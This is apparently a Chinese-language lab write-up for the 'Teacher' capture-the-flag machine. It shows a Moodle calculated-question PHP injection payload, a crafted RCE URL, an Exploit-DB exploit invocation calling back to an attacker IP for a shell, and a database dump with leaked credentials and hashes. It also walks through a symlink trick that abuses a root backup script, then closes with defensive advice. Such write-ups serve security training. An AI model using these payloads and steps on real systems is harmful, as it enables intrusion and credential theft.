[Meachines] [Easy] Teacher Moodle CMS RCE+Backup.sh->ln软连接滥用权限提升
字数 1277 2025-08-29 08:30:30
Moodle CMS RCE 与 ln 软连接滥用权限提升攻击分析
1. 信息收集阶段
1.1 目标识别
- 目标IP:
10.10.10.153 - 开放端口: TCP 80 (HTTP服务)
- Web服务器: Apache httpd 2.4.25 (Debian)
- 网站标题: "Blackhat highschool"
- 发现Moodle CMS系统:
http://10.10.10.153/moodle/
1.2 密码信息收集
从服务台请求中获取部分凭证信息:
Hi Servicedesk,
I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha...
Could you guys figure out what the last charachter is, or just reset it?
Thanks,
Giovanni.
2. 初始访问
2.1 主机名解析
将目标IP添加到本地hosts文件:
echo '10.10.10.153 teacher.htb' >> /etc/hosts
2.2 登录Moodle系统
使用猜测的完整密码成功登录:
- URL:
http://teacher.htb/moodle/ - 用户名:
giovanni - 密码:
Th4C00lTheacha#
3. Moodle远程代码执行(RCE)漏洞利用
3.1 漏洞利用步骤
- 访问课程页面:
http://teacher.htb/moodle/course/view.php?id=2 - 添加Quiz功能
- 新建计算类型问题
- 在问题描述中插入恶意代码:
/*{a*/$_GET[shell];//{x}}
3.2 触发RCE
访问构造的URL执行命令:
http://teacher.htb/moodle/question/question.php?qtype=calculated&category=2&cmid=9&courseid=2&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D9%26addonpage%3D0&appendqnumstring=addquestion&id=6&shell=(date;ping%20-c%201%2010.10.16.33)
3.3 使用公开漏洞利用脚本
使用Exploit-DB中的公开利用脚本(46551):
php exp.php url=http://teacher.htb/moodle user=giovanni pass=Th4C00lTheacha# ip=10.10.16.33 port=443 course=1 course=2
4. 横向移动
4.1 MySQL数据库访问
从系统中获取MySQL凭据:
- 用户名:
root - 密码:
Welkom1!
4.2 数据库转储
执行mysqldump获取数据库内容:
mysqldump -u 'root' -p -h 'localhost' 'moodle' > /tmp/res.txt
4.3 密码哈希分析
获取的用户密码哈希:
guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO
admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2
giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO
Giovannibak | 7a860966115182402ed06375cf0a22af (明文密码: expelled)
4.4 获取用户标志
找到用户flag:
2ed3dfa090a2c381f63965b415be749b
5. 权限提升(ln软连接滥用)
5.1 发现备份脚本
系统存在一个备份脚本Backup.sh,存在符号链接滥用漏洞。
5.2 利用步骤
- 使用pspy监控进程活动
- 创建恶意符号链接,使备份脚本读取root目录内容:
rm -rf ~/work/tmp/courses/
mv ~/work/courses ~/work/courses.bak
ln -s /root ~/work/courses
5.3 获取root标志
成功读取root目录下的flag文件:
d27323046410b2d338961ff01b2aaadf
6. 漏洞总结与防御建议
6.1 Moodle RCE漏洞
- 漏洞原因: 不安全的用户输入处理,允许通过计算问题类型注入PHP代码
- 防御措施:
- 更新Moodle到最新版本
- 实施严格的输入验证
- 禁用或限制计算问题类型的使用
- 实施Web应用防火墙(WAF)
6.2 符号链接滥用漏洞
- 漏洞原因: 备份脚本未检查符号链接,导致目录遍历
- 防御措施:
- 在脚本中添加符号链接检查
- 使用
realpath()函数解析路径 - 限制脚本运行权限
- 实施最小权限原则
6.3 密码安全
- 问题: 使用弱密码和可猜测密码
- 改进建议:
- 实施强密码策略
- 定期更换密码
- 禁用默认账户或修改默认密码
- 实施多因素认证
7. 参考资源
- Moodle RCE漏洞利用脚本: https://www.exploit-db.com/exploits/46551
- 图片查看工具: https://github.com/MartinxMax/ImageToAscii
- 符号链接攻击防御指南: OWASP相关文档